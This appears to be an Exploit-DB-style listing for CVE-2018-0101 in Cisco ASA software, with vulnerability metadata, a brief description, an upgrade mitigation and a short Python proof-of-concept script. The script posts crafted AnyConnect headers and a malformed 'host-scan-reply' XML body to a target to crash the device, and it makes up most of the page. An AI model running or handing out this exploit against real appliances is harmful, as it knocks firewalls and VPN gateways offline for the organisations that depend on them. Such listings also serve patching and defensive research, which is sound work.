Cisco ASA CVE-2018-0101 Crash PoC

vendor:

Adaptive Security Appliance Software

by:

zerosum0x0, jennamagius, aleph___naught

10.0

CVSS

CRITICAL

Remote Code Execution

119

CWE

Product Name: Adaptive Security Appliance Software

Affected Version From: 9.7.1

Affected Version To: 9.7.1

Patch Exists: YES

Related CWE: CVE-2018-0101

CPE: a:cisco:adaptive_security_appliance_software

Metasploit: https://www.rapid7.com/db/vulnerabilities/cisco-asa-cve-2018-0101/

Other Scripts: N/A

Platforms Tested: Linux

2018

Cisco ASA CVE-2018-0101 Crash PoC

This PoC exploits a vulnerability in Cisco ASA devices that allows an attacker to crash the device by sending a specially crafted XML packet. The vulnerability is caused by a buffer overflow in the webvpn code. The vulnerability affects Cisco ASA devices running versions 9.7.1 and earlier. The PoC sends an XML packet with a specially crafted 'host-scan-reply' element that causes a buffer overflow and crashes the device.

Mitigation:

Upgrade to Cisco ASA version 9.7.2 or later.

Source

Exploit-DB raw data:

#
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#

import requests, sys

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'

xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""

r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,
allow_redirects=False)

print(r.status_code)
print(r.headers)
print(r.text)